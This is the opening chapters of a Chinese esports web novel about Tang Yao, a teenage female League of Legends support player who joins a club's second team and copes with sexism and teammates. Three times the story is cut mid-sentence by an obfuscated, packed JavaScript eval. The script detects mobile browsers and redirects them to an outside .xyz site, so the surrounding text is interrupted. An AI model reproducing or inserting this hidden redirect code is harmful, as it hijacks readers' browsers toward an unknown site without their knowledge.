《AD观察图鉴[电竞]》 1. 第 1 章 伴随着水晶爆炸，还有公平红字打出的充满嘲讽意味的问号，代表着失败的红色结算窗口弹了出来。汤瑶摸了摸发烫的脸，皱着眉骂了句脏话，在摘下耳机的瞬间听到了周围嘈杂的键盘敲击声，如梦初醒的意识到自己现在已经不是在家了，连忙收住声音，小心翼翼地确定没有人注意后才长舒一口气。 她喝了口水，鼠标停在再来一把的按钮上犹豫。 其实已经没什么状态了，运气也不好，接连几把的队友表现让她很难相信坐在屏幕前是会是和自己一样的人类。再看看桌面右下角，时间3:47。再过一会儿天就要亮了，下午还要开会、打训练赛，现在去休息也是应该的。 但是…房间里十多个机位，大多数前面都还坐着人，从大家自言自语的语气中不难听出都还很有精力。汤瑶挣扎了几十秒，按下了按钮，趁着排位的空隙，她推开键盘，整个身子趴到了桌子上，在心底发出崩溃的哀嚎：怎么都这么能卷！ 唰—— 耳机里传来了匹配成功的音效，她抓起耳机扣在脑袋上，爬起来点了确认，有气无力的开始了今天的第二十四盘RANK。 卷，往死里卷！就算最后要卷铺盖回家，也要在这里多呆几天！ 随着LPL400号，也是LPL第一位女选手Lady shiva空降在顶级联赛，她在争议和风暴中一路走到了最后，从LPL到世界赛，乃至最后的决赛，虽然惜败大魔王，可是出道即亚军，不仅达到了许多选手整个职业生涯也无法企及的高度，更是在这个趋于成熟的游戏行业掀起了风暴——从她成为职业选手的第二年开始，青训营招募不再限制性别。 相比那个学霸出身，金主投资，竹马相伴，各种buff几乎叠满，履历充满着传奇色彩，还长得很有气质的年轻天才中单，汤瑶就显得非常平凡了。 她有张和任何言情女主无缘的脸，不高也不瘦，身高体重都和主流审美背道而驰。在已经没有任何“捷径”可走的情况下，也没有在最该努力的学业上用功，在中考努力地把每张试卷都填满的情况下进入了一所再普通不过的中专。不出意外的话，她会在毕业后直接进入社会，浑浑噩噩的过完一辈子。 作为到吃到LPL变革第一波红利的女孩之一，来到LPL青训不是因为梦想，而是诱人的薪资八千包吃包住。结果来了才知道，钱难挣，屎难吃。暴躁的教练，势力的经理，苛刻的分数线和RANK盘数，卷生卷死的气氛，还有四个堪比超雄的临时队友，让她每天都痛苦得生不如死。 但来都来了，半途而废连路费都没人报销，怎么也要坚持到发工资再说！ 于是本着对金钱的渴望，汤瑶又打了两把，天蒙蒙亮了才下机。洗漱完回到宿舍，舍友们都在躺着聊天了。没错，青训里的女孩不止她一个，虽然只有五个人，甚至没能住满寝室，但起码追上理工学院的男女比例，比想象中的训练生活热闹不少。 “你们还没睡啊。”汤瑶打了个长长的哈欠，拖着沉重的步伐往床上一倒，用气若游丝的声音说道，“昨天打得时候四百分，刚就两百四十分了，我真崩溃。” 对面的长发女孩盯着手机屏幕，手速飞快的敲击着，但很热情的回复了她：“哈哈哈没关系呀，保持在两百分以上就行，反正咱们现在分再高也没奖金，差不多就得了！” 隔壁铺的立刻也接口：“就是啊，小冬都一千两百多分进前十了，别说奖金，昨天训练赛摆烂还被教练骂了，扣了他五百块呢。他都跟我说如果不是我还在，他都想回家了，毕竟他当陪玩比这轻松，挣得还多。” ……好了，已经知道话题要往哪里发展了。 作为对这里每个异性都充满怨言的倒霉蛋很识趣的在话题变成粉色前闭上了嘴。 果然其他人很快接茬：“啧啧，他~超~爱~欸，你们打得谁啊，为什么就摆烂了？” “其实也不算摆烂吧。就是下路一直叫他去，他觉得抓不了，一直在中路给我抓，然后辅助就阴阳怪气他是舔狗。然后其实我俩发育都挺好的，但是对面下路更肥，就也不沟通，他就一直刷野单带去了反正。然后他们就都挨骂了哈哈~” “磕到了磕到了！果然中野就是坠好磕的！我宣布你俩就是除了孟回时分之外最好磕的竞竞CP！” “哈哈哈没有啊，他那个脾气太臭了！要我说，还是打上单的男生好，情绪稳定又大心脏，而且中后期很安心啊。你们的比赛我还看了，哈哈哈，你的弟弟八分钟就T下路，打完回去还压人家二十刀，太猛辣！” “你还别说，确实很有安全感啊。打团的时候他顶在前面，我基本上没什么压力，在后面随便输出，打得特别容易。” “哇，你俩运气真好。我跟奈奈是双人组，这都这么久了，我俩跟那几个哥们都熟不起来，小群每天都不怎么聊天。不过还好吧，他们还都挺厉害的，就是很好笑，每次训练赛都是我们在下路抗压坐牢，他们三个猛猛联动，猛猛Carry。虽然我俩KDA稀烂，但是战绩还不错，嘿嘿~” “已经可以啦！训练赛成绩好是有奖金哒。而且奈奈可是为了你AD转辅助，你俩沟通配合什么的肯定会更好，前几天教练还夸你俩了，能抗压也是本事啊~” “这个确实，我俩都是打AD的，默契特别好，很多时候不用说话。葡萄你懂吧？” “懂！我感觉我用过那么多辅助，最好的还是我那个朋友，他本来也是AD，认识我之后转辅助了。唉，可惜他一心只有陪玩，年纪也太大了，不然他来的话我应该发挥更好。” “坏了坏了，这下你们三个AD聊起来了，我要被排挤了！” “没有没有宝宝，中单才厉害！这游戏就是中野游戏。宝宝你可是我们寝室里唯一一个单人路，你是我们的骄傲啊！” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326007|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 汤瑶没有说话，而是无声苦笑着。 她不是骁勇的中单，没办法挺身而出当队伍英雄；不是冷静的打野，没办法运筹帷幄奠定胜局；也不是高贵的AD，作为团队心脏一举一动都把握着游戏走向；更不是可靠的上单，不论抗压还是进攻，总会有一骑当千的高光场面。 她是个辅助，是峡谷五个位置里最隐形也，最窝囊的位置。 或许职业赛场上的辅助从不缺少高光，官方和粉丝也会给到他们足够的尊重和认可。但在汤瑶看来，官方只是为了端水，如果用各个位置的巅峰流量来比较，任何一个都甩辅助位一大截。至于粉丝，绝大多数也只是为了磕CP，是因为形形色色的AD，才会爱上各种不同的辅助。 然而抛开那些场外滤镜，在游戏中这个位置存在感不强——除非你是女玩家。 女辅的游戏生涯基本上只有两种：被男人歧视和被男人保护。 每个女玩家都肯定经历过因为性别被攻击羞辱的时刻，然而每个女玩家也一定经历过因为性别而被优待追求的时刻。既有连呼吸都会被扣上一顶黑锅的窒息恶臭队友，也有喊着你宝宝愿意为你大杀四方的救美英雄。 汤瑶当然也都经历过，甚至也在刚接触这款游戏的时候，稀里糊涂和所谓高玩有过一段短暂的恋爱。虽然结果并不美好，但她并不记恨对方。一来她也只是出于图新鲜，并未对对方有过太多真情实感；二来也是多亏了他，拥有是最好的祛媚。从那以后她对高分玩家没有了任何滤镜，再高的段位，也不过是游戏数据而已。 总之在汤瑶的眼里，绝大多数时候队友们都很面目可憎，尤其是AD。没错，作为辅助玩家，她最讨厌的就是ADC。明明是双人路，但彼此的分工和地位有着天壤之别，付出和收获却永远不成正比。然而这些享受着皇帝待遇的输出位总是心安理得的享受着保姆的照顾却不懂得最基本的尊重和感恩，根本就毫无魅力可言！ 当然，这种讨厌需要门槛。既需要超过平均水平的操作和理解，还需要对男人保持客观和冷漠。往往有前者的天分不会选择辅助位，有后者的清醒不太会是游戏玩家。只有她在种种机缘巧合之下，成为了这款游戏中的孤独异类。 在青训营里，汤瑶其实是女选手里的最高分，进来的时候韩服六百分。不过很明显，辅助的分数没有含金量，不仅对于地位和待遇毫无提升，甚至因此被教练分配了一个八百分的AD。可是双人路根本就不存在强强联合，需要的是默契和配合，高分不代表有默契，相反会因为各自的看法不同做出南辕北辙的操作。所以两个互相看不上的人被迫走同一条路，结果就是正正得负。 还好她的目的只是混吃领钱，所以并不打算为了没有结果的成绩委曲求全，毕竟来到这里的每个人都是天才少年，作为辅助的自己更是在为数不多的女选手里都没有竞争力，怎么想都不可能被留下来嘛。 2. 第 2 章 “现在这就是你的房间了。” 徐经理把粉色的行李箱放在门口，带着面色茫然的少女在里面转了一圈。房间很大，摆设很简单，被刻意挪到靠边的床，一排到顶的衣柜，简单的桌子和置物柜，天花板上吊着土里土气的水晶灯。 “啧，过会儿我们帮你把床挪回去吧。本来你是应该有室友的……可惜。”他推了推眼镜，咕哝了声，没有在这个话题上停留，很快推开房间里的门，喏，这个房间本来就是主卧，带独立卫浴的。” 他像个房产中介，哒吧哒吧开了几下灯，打开了几个水龙头，最后分别启动了洗衣机和烘干机的按钮证明功能完好，“唔……差不多就是这些，你先住着，如果有什么不方便的地方都可以说，我们在能力范围内尽量都会满足。” “挺好的。”汤瑶紧张得把身体崩成一条线，拖鞋里的脚指头偷偷在抠，“挺好的…挺好的……” 两个人都很拘谨。尝试接受女队员对于俱乐部来说也是一种全新的尝试，彼此都没有什么经验。甚至从签约到注册的一系列流程都是QY那边出于和老板的交情，分了团队来处理的。经理沉默了一会儿，调转了脚步往外走：“行，那你先收拾一下吧。晚点我去叫人帮你把床挪回原位！” 汤瑶如蒙大赦，目送着他走开，还不受控制的鞠了个躬：“好，谢谢徐哥。” 噗！这小女孩还真是不一样。经理笑了一声，很贴心地带上了门。 * 汤瑶没什么行李，就几件过季的衣服，小电器，还有两包化妆品和几双鞋子，十几分钟就收拾好了——她根本就没想过自己会留下来。 命运就是这么无常又神奇。 青训营的日子并不好过，高压又内卷，不仅考验游技术，还有心理素质和生存能力。然而十六岁的女孩懵懵懂懂，对未来只有迷茫，不懂得机会多么难得，所以谈不上努力，仅仅是以不犯错、不掉队的基本原则混着日子。结果第二个月还没结束的时候，她就被教练暗示只要坚持就能被保送。 不是因为她的特别和潜力被发现，而是女生只剩下她了。 中单的那个女孩因为自己那个全营分数最高的打野男友和教练吵架，为了表示支持和立场，于是和他双双离开；单独打AD的那个女孩因为水平有限，跟不上越来越高压的环境，再某个深夜哭着打电话给家里，第二天就被接走了；至于包下的两个女孩，则是因为所在队伍的训练赛成绩不好，明明各打五十大板的事情，上中野却无脑给她们甩锅，从游戏分锅发展到互相人身攻击，最后闹得整个基地都不得安宁，互相冷战不到一个礼拜之后，以小姐妹的退场为闹剧画上了句点。 汤瑶一开始觉得自己是走狗屎运，后来想想又觉得不是。毕竟那些女孩子经历的事情她都经历过，其实作为攻击性最弱的辅助位，她是被其他选手要微信最多的那个人。当然，也是队里稳定背锅位，平时也没少受过冷嘲热讽。只不过对于游戏定位不如狗的女辅来说，这些遭遇只是她的游戏日常， 毕竟英雄联盟的最特殊的分路就是作为双人路的下路。 分别是负责物理输出，从头到尾都拥有掌控全局carry能力的AD位，和提供视野和支援，并且不吃资源，一切为了团队做奉献的辅助位。 当然，这是官方定义，是比赛里范本。然而在真正的游戏里，辅助由于上手容易，绝大多数英雄模型符合主流审美，是百分之八十女玩家的最终归宿。毕竟就算是电子游戏，也存在吊桥效应，大概每个举着法杖的紫皮大蒜都会在走投无路的时候为为自己挺身而出的队友心动过。 在刻板印象里，女玩家不是来玩游戏的，或者说不论什么游戏到最后都会变成恋爱养成。反之亦然，在男玩家的眼里，女玩家根本算不上队友或者合格的战力，只是游戏中的调剂，可以随便评价，任意挑选。蜜语甜言也好，犀利操作也好，总有一种方法让女孩们在挟裹和诱惑忘记游戏原本的乐趣和目的，在赛博世界中一遍遍重复上演着现实中早已烂俗的各种言情剧情。 汤瑶的游戏乐趣在于研究不同处理后不同的兵线走向，关于技能释放的预判和博弈。一波灵性对线期的游走，或者抓住焦灼中期时那转瞬即逝的机会，这种通过自己的关键决策让团队奠定胜局的满足成就感，可比听那些要自己时刻照顾的队友们说什么乱七八糟的话值得回味多了。 作为辅助专精来说，每个队友都是嗷嗷待哺的巨婴。妈妈不会计较吃不到奶的孩子嚎啕大哭（也可能是习惯了），更不会对生活不能自理的他们产生任何变质的感情。其实严格来说，汤瑶也不是对男人绝缘，而是对菜鸟免疫。然而作为韩服稳定六百分的她来说，真正能让她惊艳甚至赞不绝口的队友全都是离她非常遥远的金光熠熠的正赛选手们。 所以说没有期待就不会失望，对于那些和自己平起平坐的直立猿，不论做什么说什么都不奇怪。反而是明明来到了现实，抛开了网络上高玩的滤镜，这些在人群中轻易就被淹没的网瘾少年到底有什么可值得放在心上。 哪有包吃包住的八千块香啊！哦不不，现在已经突破五位数了。而且没有中间商赚差价，是实打实的转进了用自己信息开户的银行卡里。 说不定这还只是开始，既然已经从青训来到了LDL，那么从LDL到LPL是不是也有机会呢？嘛……算了算了，LPL太可怕了，先在青训留下来再说吧。而且青训的管控没有那么严格，自己可以用这个身份去陪玩店挣外快……嗯，自己声音条件很不错，只要把自己想象成服务员，把老板当上帝，那怎么也能是个小单王吧…… 汤瑶沉浸在对美好的畅想中，直到手机不断在身边震动才回过神。 拿起来一看，是徐经理又嘱咐了几句，紧接着就把自己拉进了基地和战队的群几个群。不间断的震动就来自其中两个闲聊群里的插科打诨。简单看了一下，都是没什么意义的扯淡，她没有说话就切了出去，给在置顶第一的人发了几个感叹号，紧接着简单录了一下房间的环境，又发了一条压抑但无比激动的语音过去：“你猜猜我在哪儿？” 【元宝】：啊？你搬家啦？ 【元宝】：看着很不错呀！ 【元宝】：很好很好~不用和你妈住在一起了！ 【姜汁汽水】：NONONO 【姜汁汽水】：[图片][图片][截图] 分别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326008|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有巨大LOGO的基地门口，合同的边角，还有一张通知录入选手信息的聊天记录。 【姜汁汽水】：^^也算是吃上这口饭了。 【元宝】：？？？？？？？ 【元宝】：！！！！！！！！！！！！ 【元宝】：天啊！！！你留下来了啊？？！！啊！！！ 汤瑶本来想发语音，结果兴致勃勃说了四十多秒，被群里的艾特打断了。是经理让她改名片，似乎还说了点别的。她只好取消，重新说了一句有空细说，就切回了基地群聊，发了个精挑细选的可爱表情包，然后迅速改了ID：Ginger。 汤瑶没有起名天分，姜汁汽水也不过是当初游戏不可重名时她花了三四个小时才找到的被号贩子错过，但没有任何含义的游戏ID而已，不过用了好几年，网上的好友也都用带姜的昵称称呼她，所以当经理问她要用什么申请注册的时候，她也就理所当然的临时搜索了“姜”的英文当做回答发了回去。 虽然目前为止她还不能利索的念好这个单词，但是她很喜欢这个词：姜黄色；刺激性的；有活力的。从某种意义上说，简直完美契合了她的性格和脾气，所以她很喜欢。 【大白鲨】：@姜汁汽水，整洋文干嘛！你以为我能看懂？ 汤瑶还在冥思苦想怎么回复的关照和交代，跳出来的艾特再次打断了她的思路。 这个名片叫大白鲨的人就是从青训开始就被和自己分在一起的AD，真人又高又白，还有一对不规则的虎牙，所以游戏ID叫Shark。真名不知道，没注意过。 原本两个人完全没配合，打得稀烂，但她也不在乎成绩，所以没放在心上，只是在心里默默吐槽他的千分王者一定有很大水分。结果过了半个多月，他突然就猛了起来，不论对线多么地狱，他总能找到节奏和机会发育，实打实的把把C了好几天。 汤瑶虽然没上进心，但也不愿意拖后腿。见他洗心革面，自然也开始和他沟通交流。虽然打发风格上不那么适配，但是操作和反应在线，没有默契，就是硬秀，之后的战绩不论输赢，下路的发挥都还不错。 Shark的转变不是因为顿悟也不是决心，而是分手了。 别误会，不是分手之后黑化。而是他当时的女朋友占有欲超强，得知他青训里的辅助是女生之后严禁他跟对方有接触，甚至精确到不可以使用“情侣”组合，不许当猫爬架，不许用治疗救人等等条款……他虽然没有完全照做，但不论现实还游戏都距离感满满。 真相大白之后汤瑶总算明白最开始他跟自己那个抽象的三角站位是怎么来的了——合着是不敢吃自己治疗啊。 有点无语，不过一点儿也不稀奇。因为这就是女辅的日常。 比起那个素不相识的女孩，汤瑶更不喜欢分手后把前任当故事说出来的人，更何况这种叙事带着明显的贬低。但这也不稀奇，利用失败的感情给自己打造深情纯爱人设同样是AD们的把妹日常。 只可惜她是个在下路住了十年的女人，心早已和窃法之刃一样冷了。 所以汤瑶压根没有理他，回复了经理之后，就给群设置了不打扰，再也不看了。 3. 第 3 章 汤瑶签约的俱乐部叫CEE，是前年刚被新老板接手的翻新老战队，联赛的成绩就一般。中游也有中游的好处，粉丝少，要求低，哪怕只要有个赛季进了季后赛都值得敲锣打鼓一回。一队都没有水花，更别提本来就关注甚少的二队了。 本来以为小破队不会有什么水花，结果万万没想到，官博前脚发了官宣，她那临时注册的微博就涨了将近百十来个粉丝，除了个别司空见惯的喜欢在互联网随地大小便的男人在私信里冷嘲热讽，竟然还有不少路人发了支持和鼓励。 天呐，汤瑶受宠若惊，给每个好好说话的网友都表达了感谢。有几个女生问起了辅助的出装和对线技巧，她也都认认真真地给出了见解和回复，然后再次收获了大段大段的彩虹屁。 她兴奋到失眠，几乎中午才睡着，没睡几个小时就醒了。 她在梦里坐在聚光灯下，台下是山呼海啸的观众，转头还能看见远处振臂高呼的解脱，所有人的视线都聚焦在自己的身上，她想听清大家说什么，可怎么也分辨不出，于是又急又气的睁开眼，结果只是一场美梦。 这次青训选拔制只提了三个人，除了下路双人组，还有个操作怪上单Rain。不仅天赋高还非常年轻，比汤瑶还要小一岁，出于幼稚和愚蠢所以人也很大大咧咧随和，基地上下评价都很好——但是他不刷牙。 本人的说法是浪费时间，大家刚听说都很震惊，可很快就都不介意了，只有汤瑶落下了深深的心理阴影。虽然在不知道之前，她也没觉察出什么，但知道之后实在接受不了，不仅挑了个训练室最角落的机位，甚至在看到他出现在自己视线里的时候就下意识屏息。 作为单亲独生女，对于异性的接触仅限于从小到大的同学。她成绩不好，又在四线小城市长大，身边的同龄人已经是在互联网可以被投进奇葩大赏行走素材，自认为已经算得上“见多识广”了，结果直到真正和异性同处屋檐下，才知道自己对男人的认知还是太天真太浅显。 除此之外，还有个原先的二队下路组的AD已经被卖去了别的俱乐部，留下的辅助叫Buer。真人是个目测体重不足三位数的干瘦眼睛哥，据说是个锤石绝活。但目前队伍的成绩一般，他的KDA和下路数据也不亮眼。汤瑶还查了他的韩服账号，发现才在两百来分挣扎——难怪要换自己来！ 汤瑶信心满满，只睡了几个小时也不觉得累，简单洗漱了一下就去训练室开始了假期加练。大概是因为心情好，所以手感也非常好，先是非常好运的三连胜，全都是二十分钟左右的碾压局。 第四把全线崩盘，结果靠着她和打野不断找节奏，中期打了好几波漂亮的团战，硬生生拉扯到了均势，最后更是因为自己技能释放地精准即时，保住了装备成型的ADC，顺利完成翻盘。 “NICE！”汤瑶美滋滋看着结算界面，习惯性自言自语，“哇，我最后一波正手奶AD反手给打野解控，太帅噜。”她不着急接着打，而是下载了对局资料打算把高光时刻录起来，这是她的习惯。 正当她在回放里兴致勃勃录的时候，耳机外传来一声幽幽的：“切~” 她循着声音一扭头，发现就是坐在自己旁边的Buer在嘲讽。他不知道是从什么时候看过来的，被发现了也没有丝毫歉意，叉着手，歪着头，架着二郎腿的上面的那只脚挂着半只拖鞋，边说话边抖腿：“你也没干什么啊，有什么可录。” 汤瑶挂起脸，直接瞪了他一眼：“这几波机会不都是我带着他找的？” “你带？大姐，你排到的是谢回啊。” “谢回怎么了？什么回，他前面野区也烂了啊。他前面被换野区，我们线上弱势，他一直被反，本来就是我跟他……” 结果再次被打断：“噗。你又跟他了？你不就跟在他屁股后面给给技能吗？” “……算了。”汤瑶本来想爆粗，转念一想又觉得那样没意义，所以故意笑了笑，“能抱到大腿也算我的本事啊，你还排不到谢回吧？” Buer果然脸色一变，毕竟他的排位分数可比她少了四百多分。不过仅仅也是一瞬，他很快就找到了还击的点：“你也只能在排位里遇到他们了。” 不是，这人怎么莫名其妙的。自己跟他从来没说过话，莫名其妙窥屏就算了，还要骑脸嘲讽，难道是遇到了其他很多不如意的事情？不过就算是生死离别，也不是他朝陌生人随便发泄的借口啊！ 汤瑶用疑惑的眼神看着他：“你是因为连排位都碰不到所以这么急吗？” “我急了？我急什么？”Buer忽然意识到自己似乎有些面目狰狞，僵硬的笑了一下，抖腿的幅度更大了，试图营造出一种浑不在意的态度，“这些分又没有用。噗，我是觉得你厉害啊~”他捏着腔调说，“玩个软辅，能混到分不说，还能混到工资。厉害厉害！” “是啊，你羡慕了？” “噗。就你那点钱，我可看不上。”Buer脱口而出，结果说完莫名心虚，眼神闪烁了下，直接扭过了身子，留下了一句“吉祥物”就戴上了耳机，结束了对话。 神经病。 心情不好可以去跳楼重开。 汤瑶冲他翻了个大大的白眼，没有着急再排位，而是拿起手机在群里查看训练通知。结果不看不知道，越看心越凉。反反复复看了好几遍，她再也按捺不出失望的心情，点开了教练的聊天框，删删改改半天，小心翼翼发过去一条消息： “教练，我怎么不用打训练呀qnq” 她捏着手机等了好一会儿，也没能等到消息，只好点开游戏里的排队。结果煎熬了半天，新的游戏都开始了，还是没有回复，她只好放下手机专注对线。打到一半，突然感觉肩头被拍了拍，转过去一看，竟然是刚回来的教练。 他态度很温和：“姜姜，你这把打完来过来找我一下。有话跟你说。” 汤瑶下意识按了下手机，果然有教练发来的好几条消息，可惜都是语音。于是点了点头，转过去继续专注游戏，只是心中那股不详的预感越来越重。 因为有心事，打得有些心不在焉，好在双方都在互 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326009|183222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相喂饭，让局势变得非常焦灼。最后鏖战四十多分钟，远古龙都打了两条，好不容易才拿下这第五把。看着结算界面的加二十，最后的分数已经来到了7开头，可是已经没什么好开心的了。 她在位子上坐了一会儿，先是先开手机把教练的话转文字看，基本都是一些顾左右而言他的安慰，那么面谈要说什么也不难猜了。 果然，只是把语音里的话重复了一遍，顺便解释了替补的含义。大概是她的失望太明显，所以又保证正赛不好说，但训练赛一定尽量给她安排。 全都是废话…… 汤瑶咬着嘴唇，含含糊糊的答应。她当然不甘心，可她有什么办法呢？确实是替补的合同，就算首发是四百多把两百分的残疾人，那也是教练和管理层的选择，自己就是个捡漏来的新人，哪里有话语权。 “对了，我刚刚已经跟Buer私聊过了，他说他就是打排位连跪了几把心情不好，所以就嘴贱了一下……这种行为很不好，我批评过了，他也保证了不会再有第二次。如果他言而无信，或者基地的其他人对你有什么冒犯或者这种很明显的霸凌，你都可以直接来我，或者找经理找其他都行，我们肯定会管，不会让你受委屈的。” “啊？我没事啊。”汤瑶挠挠头，满脸写着困惑。自己也没有告状，教练是怎么知道的？ 作为问题学生，她很少被长辈这么关心过。而且Buer的话实在算不上什么，真正让她心碎的是作为替补甚至连训练赛上场的机会都这么渺茫。不过好歹也是关心，所以勉强点点头，从喉咙里挤出了一句感谢。 “嗯嗯，没事了，你回去吧。有什么不懂的或者有什么想法，都可以再来说。” 说了有什么用？你们又不是许愿池，说了就能有求必应。 汤瑶在心里一通吐槽，瘪着嘴，怏怏回到了位子上。 旁边的位置空了，电脑也关机了。她在余光能看见厨房有几个人来回，也就没有再在意。她呆坐在自己的位置前，还在纠结要不要再打。 一想到连训练赛都打不上，总感觉冲分都没有意义。 突然，有个人扒拉开空着的位置，直接凑到了她身边：“喂，教练帮你出气了没？”是Shark。 汤瑶看了看只跟自己隔了一个机位的他的座位，恍然大悟：“啊，是你去告状的？” Shark露出得意的神情，笑起来有虎牙：“他有点脑残，你别当回事。” “我没当回事啊，是你多管闲事。”汤瑶正烦着，看见他更烦了，“本来也不是大事，你这么一告状，他给我水里下毒怎么办？” “靠！好心当作驴肝肺！”Shark还没见过这么油盐不进的人，信誓旦旦道，“不可能，他给你毒死了我陪你一起死。” “滚啊啊啊啊！”汤瑶对土味情话过敏，更何况还是从AD的嘴里说出来。 结果Shark对于她的炸毛视而不见：“哈哈哈你怎么这么可爱。”他屁股不带挪一下，“后天就收假了。明天我朋友约我，你跟我去玩不？” 4. 第 4 章 “不去。”汤瑶莫名其妙，“你朋友我又不认识。”顺带横他一眼，“我跟你也不熟吧？”她不想跟他废话，于是在战利品里开宝箱。外服的爆率很良心，不仅有皮肤，还有各种不重复的守卫皮肤和表情。 “都是哥们，早晚都要熟的。”Shark发现套近乎不管用，只好循循善诱，“卡颜局！” 结果又招来一个白眼。 汤瑶简直笑了：“什么卡颜局，就是一群油腻猪头三开个卡座选妃，你是皮条客？我可告诉你，我还未成年，你别想打我主意。” “我也未成年好嘛！”Shark简直无语：“肮脏！太肮脏了！你把我当成什么人了？我的意思是有帅哥而已。”他看着她圆嘟嘟的脸蛋，幽幽又说，“真要卡女的，你只能让我挣两百块车费。”见她白眼又翻过来，躲了躲，立刻补充道，“哎呀不跟你开玩笑了，我有个哥们在UCG，他们队那个打野Bunny，你知道吗？他大后天生日，所以组个了个局提前玩一下。” UCG也是比较典型的中下游队伍，没什么人气。Bunny则是联赛元老选手，虽然没什么特别拿得出手的成绩，但没什么黑料，所以凭着一米八的身高和稍微整齐的脸，在刷了许多年存在感之后，现在也算有些知名度。 即便汤瑶几乎不关注赛事，也多多少少听说过这个ID。不过她依然拧着脸，满脸写着抗拒：“你这不是跟人家八竿子打不着吗？自己去就算了，还要叫我一起？” “什么啊，我跟Bunny也哥儿们。我来S市第一天他们就喊我喝酒去了……不对，我都发了朋友圈的，我靠！原来你给我设置了仅聊天，我还以为你是高冷没有朋友圈！” 汤瑶尴尬地开始装咳：“不可能。”顿了顿，“要么就是加的时候点错了，回头给你拉出来呗。” “你跟我去，我就原谅你。” “那你别原谅我。”汤瑶从衣服兜里摸出一袋在零食柜那边揣过来的果汁软糖，拆开来挑了一个橘子味的吃，“反正我是替补，咱俩现在没有利益关系。” Shark挠了挠头：“那…算了，好吧。”他好像被说服了，只是拿出手机，“现在！把我权限放开！” “行行行…”她嘴上答应着，动作却拖拖拉拉，擦了手之后才在死亡凝视下把对方的权限放开了，“行了，你看吧。我朋友圈本来也就是三天可见。” 正说着，切回去的聊天界面多出了一条消息。 【Shark】：来呗。 【姜汁汽水】：？？？ 【Shark】：多交点圈里的朋友，对你自己也有好处 【Shark】：说不定还可以早点首发 【姜汁汽水】：…… 这都哪儿跟哪儿，胡言乱语。 汤瑶噼里啪啦打了一行字，脑子突然转了个弯—— 一开始以为青训结束了就回家，所以本着不浪费感情精力的想法，根本没在社交方面用心，别说那些同期生了，就连四个室友她都只单独加了三个人，在她们相继离开之后更是完全没有联系。现在不一样了，她是正儿八经合同工，白纸黑字的条款规定了她要在这个城市至少再生活两年，总不能一个朋友都没有。 再者，首不首发暂且不提，AD是固定的。作为游戏里最亲密的双人组，现实里的关系也不能太僵，不然到时候带着情绪玩游戏，多灾难。 【姜汁汽水】：行吧。 “O——K——！”目的达成，Shark就放下了手机，带着谄媚的笑贴近她，“对了，我还有个问题。不过你也可以不回答。” 汤瑶很不耐烦：“你怎么没完了？” “两件事。”他指着游戏里表情界面当中那个明晃晃的王者表情包标志，“这是好久之前的赛段奖励了，难怪你号隐藏分这么高……青训的时候你对那几个高分都爱答不理，原来还有高手，是谁啊？” 毕竟韩服王者对于普通玩家来说毫无意义，有能力而且愿意打上去的不是主播就是选手。这种有价无市的东西，落到一个女孩子的手里，就只剩下一种可能了。结果刚说出来，就看见她挂脸，于是连忙改口，“哎呀随便问问，你当我没说。” 他是真没打算刨根问底，纯粹好（嘴）奇（贱）而已，说着就站了起来，“行了行了，具体时间我手机发你。你忙吧。” * 平心而论，汤瑶有张可圈可点的脸蛋。五官比例标准，皮肤白皙光滑，还有一双又大又亮的眼睛。但她个子不高，勉勉强强一米六，体重却高达一百二十五斤，在BMI里也属于非健康的超重状态，所以她的美丽存在着很大局限性，评价总是两极分化，总之不是人见人爱的那款。 青春期的女孩，对于打扮总有无限热情。虽然对于陌生的局不期待，但怎么也是这几个月来难得的一天‘放风’，总要对得起快要落灰的化妆品们。所以汤瑶很隆重地画了个最近互联网上很火的日系全妆，不仅戴了日抛贴了单簇假睫毛，还花了半个小时把头发盘成非常牢固且可爱的两个猫耳。 就是当时过来时没想那么多，行李少，根本没什么衣服。翻翻捡捡半天，最后选了一件纯黑色的敞领针织打底衫，收腰的版型可以凸显身材优势，适当的露肤度也可以在视觉上减重。裤子没得选，就是一条普通的阔腿牛仔裤，藏肉又宽松舒适。 汤瑶非常满意这套OOTD，精致又不做作，而且妆面简直完美。她光彩照人的走出了房间，等在外面的Shark眼睛都直了。半天不知道往哪里放，最后竟然红了耳朵，连声调都变了：“咳咳，走吧。” ……平时没见他这么温声细语。 可惜，不论是游戏里还是生活中，Shark都不是自己的菜。 汤瑶始终保持着距离感，坐车的时候也是率先选择了前座，带上门之后耳机一塞，完全杜绝了闲聊的可能性。在路上绞尽脑汁P出了两张满意的成图，结果因为想不出搭配的文案，所以也没能发出去。

